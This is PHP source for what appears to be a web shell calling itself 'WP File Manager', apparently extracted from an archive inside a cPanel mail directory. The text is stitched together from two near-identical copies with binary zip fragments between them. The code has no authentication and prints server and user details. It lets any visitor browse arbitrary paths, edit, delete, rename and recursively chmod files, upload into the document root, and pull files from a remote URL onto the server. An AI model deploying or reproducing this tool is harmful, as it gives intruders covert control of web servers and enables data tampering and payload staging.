'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]� èBBiliri@drsupernova.com/.metadatanu„[µü¤[addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK [calendar] protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c type VCALENDAR PK’&{]„N9³§Ë§Ëiliri@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
